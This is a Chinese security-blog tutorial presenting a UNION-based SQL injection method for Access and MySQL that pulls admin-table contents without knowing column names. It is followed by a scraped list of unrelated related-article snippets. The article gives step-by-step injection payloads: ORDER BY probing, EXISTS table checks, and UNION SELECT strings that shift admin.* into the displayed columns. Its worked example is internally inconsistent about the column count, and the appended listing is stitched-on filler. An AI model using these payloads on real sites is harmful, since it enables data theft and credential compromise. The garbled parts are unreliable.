*本文原创作者:SeagullGR,本文属FreeBuf原创奖励计划,未经许可禁止转载

在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐。本文中我们研究了一种新的注入技术让“偏移注入不再需要人品”。在这里定义这种注入技术为:“移位溢注技术”。它适用于ACCESS和MYSQL(任何版本)。

我们先来看看普通的偏移注入步骤:1.判断注入点

2.order by 判断长度

3.判断表名

4.联合查询

5.获取表中列数:union select 1,2,3,4,..,* from TABLE

6.开始偏移注入:TABLE as a inner join TABLE as b on a.id=b.id

由于步骤6的方法过于需要人品值,且语句繁琐,因此在这里,我们研究新的注入技术。

首先来看看步骤6语句的整体意思:

步骤6的语句,表示给TALBE取2个别名,然后分别用别名取查询TALBE的内容(表a和表b);而on a.id = b.id 这样的条件是为了满足语法需求,实际并没有作用,因为相同内容的表,相同字段内容一定相同。

这时,我们再回过头来看步骤5:

由于联合查询中select后面添加数字的目的是为了让联合查询返回接结果和网站正常查询返回的结果的列数一致(不一致数据库会报错,页面无法显示),且*表示通配符,可以表示整个表格所有列;因此这里通过数字来占位,并使用*来替代TABLE中的所有列,使得联合查询可以完成,并推算出*的值。

这时候我们继续研究偏移注入的整体公式方法,发现即使使用多级偏移注入也需要一定的概率(人品值)才可以得到想要的结果,所以我们就尝试研究新的方法能不能替换这种不固定概率的方法。

现在我们重新整理一下SQL语句,从联合查询开始:

1.原union语句:union select 1,2,3,..,p..,n from TABLE

(p=页面爆出的数字,可能有多个p1,p2..;n=原网站查询的总列数;TALBE=我们获得的表名;下面开始就使用上述字母的定义)

2.新语句:union select 1,2,3,..,p-1,TABLE.*,p+k,..,n from TABLE where 字段名 = 字段内容

在p的位置爆出TALBE表中第一个字段的内容(其他位置还可能爆出更多内容。这里如果存在已知字段名可以使用,没有就不用,一般id这个字段时存在的,可以使用id = 1来显示第一行)union select 1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where 字段名 = 字段内容

在p的位置爆出TALBE表中第二个字段的内容(其他位置还可能爆出更多内容)union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,n from TABLE where 字段名 = 字段内容

在p的位置爆出TALBE表中第三个字段的内容(其他位置还可能爆出更多内容)

注:这里一定是TALBE.*而不是*

3.1 以此类推可以爆出TALBE的每一列内容。

3.2 如果p

原理

1.由原语句:union select 1,2,3,..,p..,n-k,* from TABLE 可以得出该联合查询的目的是构造和原网站相同列数的查询结构,使得页面上可以显示对应的数字;这条语句相当于是做了两次查询并将它们的结果合并,第一次做了select 1,2,3,..,n-k from TALBE ,第二次做了select * from TALBE ,然后将它们的结果合并。

这可以参考mysql的语句:select 1,2,3,4,5,admin.* from admin;

2.只要满足原理1的要求,保障联合查询的结果和原网站查询的结果列数一致即可;因此可以将TALBE.*向前移动至页面显示的数字处来爆出TALBE列中的内容。

这可以参考mysql的语句:

select 1,2,3,4,5,6,7,8,9,10 from news where id =1 union select 1,2,3,4,5,6,7,admin.* from admin;

select 1,2,3,4,5,6,7,8,9,10 from news where id =1 union select 1,2,3,admin.*,7,8,9,10 from admin;

注:假设数字4、5在页面显示。

由下图可知,其实数据已近查询出来,但是页面没有显示,这个是通过平移查询结果到页面显示的数字上去,即可爆出敏感字段。

例子:

步骤1:判断注入点是否存在

步骤2:判断字段长度:order by 35

步骤3:获得表名(必备条件)   and exists(select * from admin)

步骤4:获取不了列名(当尝试多个常用字段名以后,最终还是发现无法获得字段名)

步骤5:使用联合查询(union select)

步骤6:使用新注入技术方法

(1)获取admin表的列数:

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,* from admin——返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin——返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,* from admin——返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,* from admin——返回错误页面

...

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from admin——返回步骤5页面,因此admin表的列数为6

(2)由于网页中包含连续数字,表示可以显示连续的查询结果,构造SQL语句查询前四列第一行。

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin

(3)由第一行第一列内容为1,可以猜测该表有id字段,因此修改语句获取其他行。

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin where id = 3

总结

在这里我们命名这种新注入技术为"移位溢注"。由此如果MYSQL小于5.0的情况下所具备的条件和ACCESS一样,也可以使用此方法注入,如果是MYSQL大于5.0的版本,使用此方法可以省去获得列名的步骤。

*本文原创作者:SeagullGR,本文属FreeBuf原创奖励计划,未经许可禁止转载(MST.LAB HI-OURLIFE 米斯特实验室 @ Seagull)

mysql偏移注入_移位溢注:告别靠人品的偏移注入相关推荐

  1. 移位溢注:告别依靠人品的偏移注入

    介绍: 在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐.本文中我们研究了一种新的注入技术让" ...

  2. mysql prepare 注入_实战1:如何用 PREPARE 防止 SQL 注入

    实战1:如何用 PREPARE 防止 SQL 注入 1. 前言 在前面的小节中,我们一起学习了 SQL Prepare,本小节以实战的角度来继续深挖 Prepare,如果你还不了解 Prepare,请 ...

  3. dagger2 注入_使用Dagger 2在GWT中进行依赖注入

    dagger2 注入 依赖注入是一种软件开发概念,其中为对象提供了创建所需的所有对象或值. GWT用户已经熟悉GIN,但已经不推荐使用此工具,因此不再支持它,因此使用GIN的应用程序当前确实需要告别. ...

  4. java filter注入_如何使用Filter过滤请求中的SQL注入攻击

    在doFilter方法中编写判断逻辑 public void doFilter(ServletRequest request, ServletResponse response, FilterChai ...

  5. 05_SQL注入_功能语句报错注入盲注

    05_SQL注入_功能语句&报错回显&盲注 1. SQL 语句和网站功能 1.1 Web开发中常见语句 [本章代码来源于pikachu和sqli-lab中的靶场] 开发中,根据不同的需 ...

  6. python脚本自动化盲注_三、基于报错型注入和sql盲注的自动化实现

    通过前面payload的构造,不难发现,对于报错型注入和布尔注入(sql盲注)纯手工注入的效率是非常慢的.这些payload语句虽然复杂,但大部分内容都是相同的,因此,一言不合就写了个脚本自动化注入, ...

  7. mysql exp 注入_使用exp进行SQL报错注入

    0x01 前言概述 好消息好消息-作者又在MySQL中发现了一个Double型数据溢出.如果你想了解利用溢出来注出数据,你可以读一下作者之前发的博文:BIGINT Overflow Error bas ...

  8. 搭建mysql注入_常见的sql注入环境搭建

    常见的sql注入环境搭建 By : Mirror王宇阳 Time:2020-01-06 PHP+MySQL摘要 $conn = new mysqli('数据库服务器','username','pass ...

  9. mysql dba盲注_SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

最新文章

  1. 在宝塔环境下安装VUE 及webpack
  2. 大学阶段总结——大二
  3. JQuery技巧(转)
  4. Python打包exe后报错:Failed to execute script xxxx问题的解决办法
  5. PTA 程序设计天梯赛(101~120题)
  6. 关于事业发展,雷林鹏教你如何找到方向?
  7. Oracle分页总汇
  8. 12月PMP备考~通关宝典
  9. 史上最全的android学习资料
  10. 什么新东西值得学「GitHub 热点速览 v.22.29」
  11. 数据分析案例-基于随机森林算法探索影响人类预期寿命的因素并预测人类预期寿命
  12. React Fullpage
  13. 60岁还在写代码的程序员大师,Delphi、C#、TypeScript之父Anders Hejlsberg(安德斯·海尔斯伯格):编程符合10000小时定律
  14. 原生JS拖拽模型(有限制范围的)
  15. 人工智能未来发展论文
  16. 产品经理如何建立和促进心理安全
  17. C站万字详解二叉树基本操作演示程序(附图)
  18. RGB归一化及高效实现
  19. 用ul制作html表单,要利用 display属性把段落P、标题h1、表单form、列表ul和li都可以定义成行内块元素,其属性值为...
  20. Python音频处理,录制播放

热门文章

  1. 那些我曾经犯过的低级编程错误
  2. CF617E XOR and Favorite Number
  3. js字符串转数字(小数),数字转字符串
  4. FineUI(专业版)v3.0.0 发布,手机、平板和桌面全支持!
  5. date format 精辟讲解
  6. flare3d_clone
  7. 云南干旱 谁人受损 心有戚戚 愤怒哀伤
  8. PWM调光方法在LED亮度调节中的应用
  9. ubuntu安装codeblock的方法
  10. 工作4年工资8K,还有什么理由不努力?